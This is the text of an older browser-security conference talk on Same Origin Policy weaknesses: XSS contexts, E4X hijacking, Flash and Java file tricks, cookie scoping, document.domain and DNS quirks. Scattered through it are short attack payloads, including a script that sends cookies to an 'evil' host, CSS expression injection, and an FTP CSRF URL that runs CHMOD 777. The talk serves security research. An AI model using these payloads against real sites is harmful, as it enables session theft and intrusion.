Same Origin Policy Weaknesses

K
Same Origin Policy
  Weaknesses
           kuza55
     kuza55@gmail.com
 http://kuza55.blogspot.com
whoami
► Alex   (aka kuza55)
   http://kuza55.blogspot.com/
► R&D    Team Lead at SIFT
   http://www.sift.com.au/
► Student   at UNSW
   http://www.unsw.edu.au/
Outline
► Same Origin Policy (SOP) Intro
► SOP Implementations
   Some new attacks, some obscure attacks
   Demos!
► OtherSecurity Policies
► Some Tools
SOP Intro
► Not   present in the beginning
      Tacked on later; like most web security
      Hence ‘Confused Deputy’ or CSRF attacks
► Introduced     with the introduction of active content
   JavaScript/VBScript
► In
   a nutshell checks that the following 3-tuple
 describing the origin for ‘communicating’ content:
      protocol/hostname/port
      All of these are vital, as changing one may lead to
       accessing something outside your own control
SOP Intro




►   https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript
The Obvious Answers
►   Complete SOP Bypasses
       Many exploits found over the years
       Continue to be found in latest browsers
       Not covered in this talk
►   Partial Bypass
     Completely bypass certain boundaries in certain conditions
         ► Covered   in this talk
     Read or write certain elements across all sites
         ► Not   covered in this talk
►   ‘Spoofing’ your origin by putting your code on the target
    domain (XSS)
     The focus of this talk
Understanding Context
► Common  knowledge that XSS happens
 when script is included on the target domain
   Why is this so?
► TheJavaScript SOP implementation works
 by checking the origin a script is embedded
 in
   Irrelevant for many injections, e.g.
      ► <script>location='http://evil/?c='+escape(document.cookie)</script>
   Relevant for others:
     ►<script src="http://evil.com/s"></script>
Understanding Context #2
► Hence    injections into JavaScript files:
   alert("<injection>");
Are not an issue if it is served as text/plain
► However this code is an issue:
   some_func("<sensitive_data>");
As we can do this:
   <script>some_func = function (a) { location = 'log?'+a };</script>
    <script src="http://good.com/sensitive.js"></script>
Active and Passive Contexts
► ‘Contexts’are important when we load
  something from a URL
► Browser components can mostly be grouped
  into two categories:
   Active components
     ►HTML
     ►Code   Injection
   Passive components
     ►JavaScript
     ►Information   Leakage
HTML Context
► How   do you invoke the HTML Component?
   Redirects or links or any navigation
   <iframe or <object tag
► HTML    must be an ‘active’ component
   Otherwise JavaScript/etc can read the contents
► Hence   HTML Injection/XSS
   Lots of effort spent examining the HTML parser to
    determine how we can inject data
     ► http://ha.ckers.org/xss.html   (getting out of date now)
HTML Context
► From   the W3C Spec on OBJECT tags:
   "If the value of this attribute [type] differs from
    the HTTP Content-Type returned by the server
    when the object is retrieved, the HTTP Content-
    Type takes precedence.“
     ► http://www.w3.org/TR/REC-html40/struct/objects.html#h-13.3

   All browsers seem to implement this 
     ► So   we cannot just tell a browser an image is a html file
Quick Detour: FindMimeFromData
► IE uses the FindMimeFromData function to
  determine what type of content a response
  ‘really’ is
► Valid images could be constructed that
  when viewed via iframes/object
  tags/redirection were rendered as html
► A good description can be found here:
     http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting

► Can
    no longer go from GIF/JPG/PNG to
 HTML though
JavaScript Hijacking Advances
► E4X  Support in Firefox allows JavaScript
   constructs like:
        var x = <contact><name>John Doe</name><mail>jdoe@example.com</mail></contact>;
         alert(x);

► And        more interestingly:
        a = <name>{get_name();}</name><mail>none</mail>

► Which    allows injections into html/xml to leak
   data like so:



I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
JavaScript Hijacking Advances
►   <html>
    <body>
     Non-Javascript text
     Something completely non-parseable - 1 2 3 **** }}
     ...
     {x=                     <- attacker-supplied
       ...
       Sensitive data in valid HTML/XML format
       ...
     }                     <- static or attacker-supplied
    </body>
    </html>



I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
JavaScript Hijacking Advances
► E4X      HTML Hijacking Caveats
      XML Parser is very strict and does not parse tags that it
       thinks are invalid, such as:
          ► <?xml    …>
                https://bugzilla.mozilla.org/show_bug.cgi?id=336551
          ► <!DOCTYPE        …>
                No plans to allow this
      The document contains no unclosed tags such as <br>
      All the attributes in the document must be quoted using
       single (‘) or double quotes (")
      Only one instruction allowed in a constructor

I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
Other Components
► HTTP  Parser
► CSS Parser
► Flash VM
► Java Applet VM
► Google Gears Web Workers
   Should be implemented in next Firefox release
    too
HTTP Parser
► Active    Context
   All response headers apply to the specific
    resource
   Straight Injection Attacks using rn
     ►HeaderInjection
     ►HTTP Response Splitting
   Trickier Attacks
     ►Several    good papers:
           ‘The HTML Form Protocol attack’
           ‘The Extended HTML Form attack’
           ‘Inter-Protocol Communication’
           ‘The Extended HTML Form attack revisited’
Trickier HTTP Attacks
► Point   the HTTP parser at a non-HTTP port
     HTTP Parser tries to parse response as http
     Headers, HTML, XSS, etc can be injected into
      the context of the non-HTTP port, e.g.
       ►http://irc.freenode.net:6667/
       ►SOP    policy should make this irrelevant, but it doesn’t
           More on why this is so at the end
   Possible to ‘XSS’ many non-HTTP services
       ►IRC,   SMTP, IMAP, many other plaintext protocols
Quick Detour: FTP CSRF
► Found   by Maksymilian Arciemowicz
   http://securityreason.com/achievement_securityalert/56
► Using  long FTP URLs, it is possible to perform
 CSRF attacks against FTP servers
   <img src="ftp://site///////...../////SITE
    %20CHMOD%20777%20FILENAME">
   Command is truncated at 500 chars, rest of URL
    is interpreted as extra FTP command
► Awesome!
CSS Parser
► Not really considered active content
► Passive context
   We can read css remotely
        ► Parser   does not seem to be lenient enough to do information
          leaks
        ► However we can still check for existence of css files using only
          ‘conditional’ css
             Useful to detect installed Firefox extensions, e.g. NoScript
                ►   http://kuza55.blogspot.com/2007/10/detecting-firefox-extension-without.html
             Useful to determine whether an website administrator is logged in
                ►   http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html

   We can also inject CSS <style> tags in HTML
CSS Injection
► Typically   just jump into JavaScript
   x:expression(alert(document.cookie))
   -moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")
► Eduardo  “sirdarckcat” Vela and Stefano “WiSec” Di
  Paola found that CSS can read the page
   Using CSS 3 Selectors CSRF tokens/nonces, etc can be
    read from the page
     ► Is slow, but not blocked by NoScript, etc
     ► http://www.thespanner.co.uk/wp-content/uploads/2008/10/the_sex
Flash VM
► Flash   is an active context component
   Based on site it is loaded from
       ► Mostly
           Can execute JavaScript in the passive context

► Can make requests with cookies, etc to the active
  context (where it was loaded from)
► Moderately strict file parser
     Does not check Content-Type of response
     Ignores Content-Disposition
     File must start with CWS or FWS file signature
     Extra data can be appended to SWF’s due to file format
Flash VM
► So if we can upload Flash files, we can xss
  the server
   Exploit Demo! (Gmail)
► Also,if we can inject into the start of a
  response
► Can create a SWF/HTML File
   Particularly useful for attacking webmail
       ►Leak   unique token via referer
           Demo!
Flash 9,0,151,0 & 10
► Turns   out other people thought this was useful too
   It got patched  (CVE-2008-4818)
     ► Got   pushed to users at the start of November
► Nowrespects Content-Type &
 Content-Disposition headers
   Can’t really use Flash attacks against webmail any more
► Means
      we have to move to another active context
 component
   It’s not a limitless supply 
Flash VM
► Flash  VM allows cross-domain
  communication via ‘policy files’ hosted on
  sites allowing cross-domain communication
► Policy files are loaded by URL (LoadPolicyFile function)
    Are ‘active context’ (obviously)
► Policy   files are just XML
    Parser was originally VERY lenient
      ►Has   been tightened up to stop these attacks
      ►Still possible, but need to control root node of XML
       file
Java VM
► Java   is very similar to Flash
   Has active context for communicating with the
    hosting domain
   Has passive context for JavaScript execution
► Moderately       strict file parser
   Does not check Content-Type of response
   Ignores Content-Disposition
   Content read from end of file
    ►Can     construct a file that is a GIF and a JAR
► PoC   at http://pseudo-flaw.net/content/web-browsers/corrupted-jars/
Google Gears Web Workers
► What   is Google Gears?
   A set of JavaScript APIs
     ►http://code.google.com/apis/gears/

   A browser plugin
   Contained in Google Chrome by default
► ‘Web  Workers’ allow background execution
  of JavaScript
► ‘Web Workers’ will be included in Firefox 3.1
Google Gears Web Workers
► ‘Web   Workers’ JavaScript can be loaded from a
  URL
   Has an active context
► Uses   the browser’s native JavaScript engine
   Supports E4X in Firefox
► JavaScript     parsers are very liberal
   Can be XML in Firefox
     ► Demo!

   Can be valid image files
     ► However     this doesn’t work with Google Gears, as it doesn’t like
         high ascii chars in responses (probably a bug)
Conclusion 1
► The  fact that something implements the SOP
  doesn’t mean the security of the web is not
  changed
► By classifying components as active or passive, we
  can infer the added security risks via analysis of
  the parser leniency
► We should be evaluating all new plugins on their
  context and file format strictness
► Users should not be able to upload files to
  sensitive domains
   Upload all user files to another domain and use random
    file names so that they can not be easily enumerated
Conditional SOP Bypasses
► Browsers   contain many, many components
   Not all of them implement the SOP
► Many   of them have their own security
  policies
► Sometimes the SOP is not enough to protect
  sites
   Even when they are bug-free
►I   will examine some of these components
Cookies
► What    is a cookie?
     It’s a name value pair stored on the client
     It is sent only to the domain it was set for
     And that’s all most developers know
► Here   is what a cookie looks like when it is set:
   Set-Cookie: NAME=VALUE[; expires=DATE][;
    path=PATH][; domain=DOMAIN_NAME][; secure][;
    httpOnly]
► Here   is what a cookie looks like when it is sent:
   Cookie: NAME=VALUE[; NAME=VALUE]
Cookies
► But   where does a cookie actually get sent?
   The browser does a ‘domain-match’ which
    means:
    ►Domain   A Matches Domain B if:
    ►The domains are identical, or
    ►A is a FQDN string and has the form NB, B has the
     form .B', and B' is a FQDN string.
    ►(So, x.y.com domain-matches .y.com but not y.com)
   A browser sends a cookie if the domain the user
    is going to (A) domain-matches the domain in
    the cookie (B)
Cookies
► So  cookies set for .microsoft.com are sent
  to subdomain.microsoft.com
► Who can set cookies?
   A host (A) can set cookies for any domain (B)
    that it domain-matches
► Sosubdomain.microsoft.com can set
 cookies for .microsoft.com
   But not for .com (two-dot rule)
Cookies
► Butthe two-dot rule doesn’t work for
 registries like .co.uk since they do have two
 dots
   Browsers have reacted differently
    ►IE doesn’t allow cookies for (com|net|org).yy or
     xx.yy (unless they are in a whitelist)
    ►Firefox 2 and Safari have no protections
    ►Firefox 3 has a massive (but incomplete list)
    ►Opera does DNS resolution on the cookie domain (B)
Cookies
► So  on Firefox2 and Safari you can set cookies for
  any domain not on the com, net, org TLDs
► In all browsers sub1.domain.com can set cookies
  for .domain.com which also get sent to
  sub2.domain.com
► By abusing the path attribute we can effectively
  over-write cookies very specifically, or for the
  whole domain by setting lots of them
   Useful for exploitation of some xss vulnerabilities
Cookies
►   The secure attributes only lets cookies be transmitted over
    SSL
     However this does not prevent sites setting more specific cookies
      than the secure cookies which sites will use instead of secure
      cookies
►   The httpOnly attribute doesn’t let JavaScript access cookies
     You can however access the cookie via XHR as it is being sent, so it
      is ineffective on sites which regenerate cookies
►   On Firefox and Opera we can delete all the user’s cookies
    by exhausting the global limit on how many cookies can be
    stored
►   More detailed info at
    http://kuza55.blogspot.com/2008/02/understanding-cookie-sec
Bringing Down the Walls:
               document.domain
►   document.domain is a read/write JavaScript property
    which is set to the domain of the current page
►   This property can be set to any parent domain
     www.test.com can set it to test.com or .com (though .com is
      sometimes not allowed)
►   To check whether sites can communicate two checks must
    be passed (usually):
     The document.domain’s are both the same
     Either both document.domain properties have been altered, or
      neither have
        ► Many   sites alter the domain to allow this explicitly
            MySpace
            Live.com
            Yahoo!
Bringing Down the Walls:
               document.domain
► However       these is a bug in IE
   Known & Unpatched for >1 year
       ► Finally   patched in IE8 Beta 2
   If a website reads the location.href property, IE will
    think the document.domain property has been altered
       ► Many   scripts read this property
            Google Analytics
   I have also been told there are similar bugs, but do not
    know their details
       ► We   can determine this as a black box
            Load every URL, submit every form and simply check
► Soany parent domains which read location.href
 anywhere at all effectively trust all child domains
Heterogeneous DNS Records
► DNS servers do not necessarily have the same
 records, e.g.
   A Company may have a wildcard DNS record for
    *.company.com resolving to 12.34.56.78
   If they now create a website at internal.company.com
    but only place that record on the internal DNS server
   If *.company.com is vulnerable to XSS, then so is
    internal.company.com when resolved externally
     ► Think laptops
     ► Think `persistent` payloads
Heterogeneous DNS Records
► It seems increasingly common for
  infrastructure providers to hijack DNS
   Network Solutions hijacked their customers’
    subdomains to serve ads (Techcrunch)
   Earthlink and Comcast hijacked the subdomains
    of all sites on the internet and served ads to
    their customers (Kaminsky)
   Both cases were XSS-able, the NetSol
    equivalent trivially so
       ►Abusingcookie and document.domain issue, this
        becomes very bad for security
Ambiguous IP Addresses in DNS
► Many domains inadvertently have a
 localhost.domain.com address pointing to
 127.0.0.1 (Travis Ormandy)
   localhost.microsoft.com used to
► Many   internal hosts resolve externally
   Domains now resolve to IPs which are not
    controlled by domain owner
    ►e.g.   10.13.37.43
Ambiguous IP Addresses in DNS
► Exploitable     in few scenarios
     Multi-User system
     XSS-able service on 127.0.0.1 (Travis Ormandy)
       ► LocalMachine
       ► HTTP proxy

   Attacker on the same local net
       ► More feasible on switched networks, or if DNSSEC is ever
         implemented
   Vulnerable machine at exact IP on victim’s local net
       ► Ifyou find one (somewhat unlikely), it is possible to use Anti-
         DNS Pinning/DNS Rebinding in browsers to find an xss in that
         IP on-the-fly
Flash and Silverlight
               crossdomain.xml
► crossdomain.xml   files let you allow cross-domain
  communication via Flash and now Silverlight
► They look like this:
   <cross-domain-policy>
   <allow-access-from domain=“www.domain.com" />
   </cross-domain-policy>
► Allow   wildcard domains
   e.g. *.yahoo.com
     ► http://www.yahoo.com/crossdomain.xml

► Does *not* allow cross-port communications, port
  defaults to 80 if not supplied
Flash crossdomain.xml
► Flash allows cross-protocol communication if
  the secure=“false” attribute is added to
  crossdomain.xml
► Flash also allows policy files in directories
  other than the root to be loaded using the
  LoadPolicyFile function
     e.g. http://www.site.com/path/to/policy/file/crossdomain.xml
►   Adobe just patched my directory traversal, can you find
    another?
     http://www.site.com/path/to/policy/file/%3f/..........pathfromroot.aspx
IE By-Design SOP Bypasses
► IE   does not support the SOP completely
   Prefers it’s own ‘Security Zone’ Model/Policy
► By   Design Weaknesses
     MSXML2.XMLHTTP.6.0 and related components
     ActiveX SiteLock
     No Port Restrictions on JavaScript, etc
MSXML2.XMLHTTP.6.0 and related
         components
► IE   allows old ActiveX controls to be accessed
   e.g. MSXML2.XMLHTTP.6.0
► MSXML2.XMLHTTP.6.0     is a standard XHR object
  that does not enforce port restrictions
► MSXML2.XMLHTTP.3.0 can be accessed on some
  computers
   Documented to allow cross-protocol communications;
    Not in the latest version though
       ► http://msdn.microsoft.com/en-
         us/library/ms537505(VS.85).aspx
ActiveX SiteLock
► Designed  to lock sites to domains
► Allows wildcard domains to be specified
► XSS-ing a non-active site may let you exploit
  an otherwise non-exploitable ActiveX bug
No Port Restrictions on JavaScript,
                 etc
► Microsoft does not consider port restrictions
  security sensitive
   Does not enforce them in lots of components
     ► e.g.   Plain Old JavaScript!
          <iframe src="http://www.good.com:8080/server.php"
           onload="alert(window.frames[0].document.cookie);"> </iframe>
          Demo!
   Particularly interesting when combined with:
     ► Non-HTTP   XSS
     ► document.domain issues
     ► ActiveX SiteLock
Conclusion 2
► Even    without global SOP bypasses, we can
  still traverse lots of boundaries
► We need to think of XSS’ affects beyond a
  single origin when writing exploits
   XSS in ‘brochure-ware’ sites becomes relevant
Tools
► Flash-baseduser-as-a-proxy payload
► Google Gears user-as-a-proxy payload
► Unlocked document.domain checker


► Will   post to http://kuza55.blogspot.com/
The End
► This   presentation is not the end of this research
► Still lots of things to examine
      Silverlight
      IE Zone Policy
      In depth analysis of all the file parsers mentioned here
        ► My (and other researchers’) analysis is fairly naïve and black-
          box
    Every other common ActiveX component and add-on
1 of 51

Recommended

Same Origin Policy Weaknesses by
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesseskuza55
10.1K views16 slides
Examining And Bypassing The IE8 XSS Filter by
Examining And Bypassing The IE8 XSS FilterExamining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS Filterkuza55
7.9K views33 slides
Security In .Net Framework by
Security In .Net FrameworkSecurity In .Net Framework
Security In .Net FrameworkRamakanta Behera
538 views27 slides
Xss talk, attack and defense by
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defensePrakashchand Suthar
21.7K views40 slides
Website Security by
Website SecurityWebsite Security
Website SecurityMODxpo
445 views15 slides
04. xss and encoding by
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
2K views76 slides

More Related Content

What's hot

Cross Site Scripting (XSS) by
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
3.7K views16 slides
Cross Site Scripting Defense Presentation by
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
3.7K views23 slides
MITM Attacks on HTTPS: Another Perspective by
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
3.6K views43 slides
Html5 localstorage attack vectors by
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectorsShreeraj Shah
7.4K views4 slides
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner by
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNishant Das Patnaik
3.5K views27 slides
Understanding dom based xss by
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xssPotato
568 views22 slides

What's hot(20)

Cross Site Scripting (XSS) by OWASP Khartoum
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum3.7K views
Cross Site Scripting Defense Presentation by Ikhade Maro Igbape
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape3.7K views
MITM Attacks on HTTPS: Another Perspective by GreenD0g
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
GreenD0g3.6K views
Html5 localstorage attack vectors by Shreeraj Shah
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
Shreeraj Shah7.4K views
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner by Nishant Das Patnaik
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
Nishant Das Patnaik3.5K views
Understanding dom based xss by Potato
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
Potato568 views
Web Security - OWASP - SQL injection & Cross Site Scripting XSS by Ivan Ortega
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega1.9K views
The Cross Site Scripting Guide by Daisuke_Dan
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
Daisuke_Dan2.3K views
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services by Abraham Aranguren
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren19.5K views
Introduction to Web Application Security - Blackhoodie US 2018 by Niranjanaa Ragupathy
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018
Niranjanaa Ragupathy10.4K views
Java script, security and you - Tri-Cities Javascript Developers Group by Adam Caudill
Java script, security and you - Tri-Cities Javascript Developers GroupJava script, security and you - Tri-Cities Javascript Developers Group
Java script, security and you - Tri-Cities Javascript Developers Group
Adam Caudill712 views
(In)Security Implication in the JS Universe by Stefano Di Paola
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
Stefano Di Paola1.6K views
When Ajax Attacks! Web application security fundamentals by Simon Willison
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
Simon Willison5.6K views
Preventing In-Browser Malicious Code Execution by Stefano Di Paola
Preventing In-Browser Malicious Code ExecutionPreventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code Execution
Stefano Di Paola944 views
XSS - Do you know EVERYTHING? by Yurii Bilyk
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
Yurii Bilyk4.8K views
Web Application Security in front end by Erlend Oftedal
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
Erlend Oftedal9.9K views
Cross-Site Scripting (XSS) by Daniel Tumser
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Daniel Tumser4.9K views

Viewers also liked

Same origin policy by
Same origin policySame origin policy
Same origin policyVivek Madurai
1.4K views7 slides
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant” by
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”Capgemini
6.8K views38 slides
Browser Internals-Same Origin Policy by
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyKrishna T
4.2K views23 slides
Understanding Selenium/RC, Webdriver Architecture and developing the page obj... by
Understanding Selenium/RC, Webdriver Architecture and developing the page obj...Understanding Selenium/RC, Webdriver Architecture and developing the page obj...
Understanding Selenium/RC, Webdriver Architecture and developing the page obj...Atirek Gupta
7.6K views22 slides
Flash it baby! by
Flash it baby!Flash it baby!
Flash it baby!Soroush Dalili
7.6K views41 slides

Viewers also liked(6)

Cross-Site Request Forgery Vulnerability: “A Sleeping Giant” by Capgemini
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Capgemini6.8K views
Browser Internals-Same Origin Policy by Krishna T
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
Krishna T4.2K views
Understanding Selenium/RC, Webdriver Architecture and developing the page obj... by Atirek Gupta
Understanding Selenium/RC, Webdriver Architecture and developing the page obj...Understanding Selenium/RC, Webdriver Architecture and developing the page obj...
Understanding Selenium/RC, Webdriver Architecture and developing the page obj...
Atirek Gupta7.6K views

Similar to Same Origin Policy Weaknesses

Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps by
Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash AppsOwasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps
Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Appsguestb0af15
1.9K views36 slides
Unusual Web Bugs by
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugsamiable_indian
7K views50 slides
Web Bugs by
Web BugsWeb Bugs
Web BugsDr Rushi Raval
678 views50 slides
Web Browsers And Other Mistakes by
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakeskuza55
1.7K views69 slides
Website Security by
Website SecurityWebsite Security
Website SecurityCarlos Z
495 views15 slides
Web Browsers And Other Mistakes by
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakesguest2821a2
3.3K views70 slides

Similar to Same Origin Policy Weaknesses(20)

Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps by guestb0af15
Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash AppsOwasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps
Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps
guestb0af151.9K views
Web Browsers And Other Mistakes by kuza55
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
kuza551.7K views
Website Security by Carlos Z
Website SecurityWebsite Security
Website Security
Carlos Z495 views
Web Browsers And Other Mistakes by guest2821a2
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
guest2821a23.3K views
OWASP Portland - OWASP Top 10 For JavaScript Developers by Lewis Ardern
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern1.1K views
Browser security by Uday Anand
Browser securityBrowser security
Browser security
Uday Anand110 views
Everybody loves html5,h4ck3rs too by Nahidul Kibria
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
Nahidul Kibria652 views
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf by GiorgiRcheulishvili
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
Securing Your WordPress Website - WordCamp GC 2011 by Vlad Lasky
Securing Your WordPress Website - WordCamp GC 2011Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011
Vlad Lasky1.7K views
Securing Your WordPress Website by Vlad Lasky by wordcampgc
Securing Your WordPress Website by Vlad LaskySecuring Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad Lasky
wordcampgc802 views
Talk about html5 security by Huang Toby
Talk about html5 securityTalk about html5 security
Talk about html5 security
Huang Toby1K views
Top Ten Java Defense for Web Applications v2 by Jim Manico
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
Jim Manico37.2K views
Browser Horror Stories by EC-Council
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
EC-Council652 views
Web application security by Ravi Raj
Web application securityWeb application security
Web application security
Ravi Raj898 views
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S... by Divyanshu
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu 796 views

Recently uploaded

DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti... by
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...ShapeBlue
139 views29 slides
Cencora Executive Symposium by
Cencora Executive SymposiumCencora Executive Symposium
Cencora Executive Symposiummarketingcommunicati21
159 views14 slides
Initiating and Advancing Your Strategic GIS Governance Strategy by
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance StrategySafe Software
176 views68 slides
Qualifying SaaS, IaaS.pptx by
Qualifying SaaS, IaaS.pptxQualifying SaaS, IaaS.pptx
Qualifying SaaS, IaaS.pptxSachin Bhandari
1K views8 slides
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava... by
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...ShapeBlue
145 views17 slides
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...ShapeBlue
106 views12 slides

Recently uploaded(20)

DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti... by ShapeBlue
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...
DRaaS using Snapshot copy and destination selection (DRaaS) - Alexandre Matti...
ShapeBlue139 views
Initiating and Advancing Your Strategic GIS Governance Strategy by Safe Software
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance Strategy
Safe Software176 views
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava... by ShapeBlue
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...
ShapeBlue145 views
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by ShapeBlue
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
ShapeBlue106 views
Digital Personal Data Protection (DPDP) Practical Approach For CISOs by Priyanka Aash
Digital Personal Data Protection (DPDP) Practical Approach For CISOsDigital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOs
Priyanka Aash158 views
Migrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlue by ShapeBlue
Migrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlueMigrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlue
Migrating VMware Infra to KVM Using CloudStack - Nicolas Vazquez - ShapeBlue
ShapeBlue218 views
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
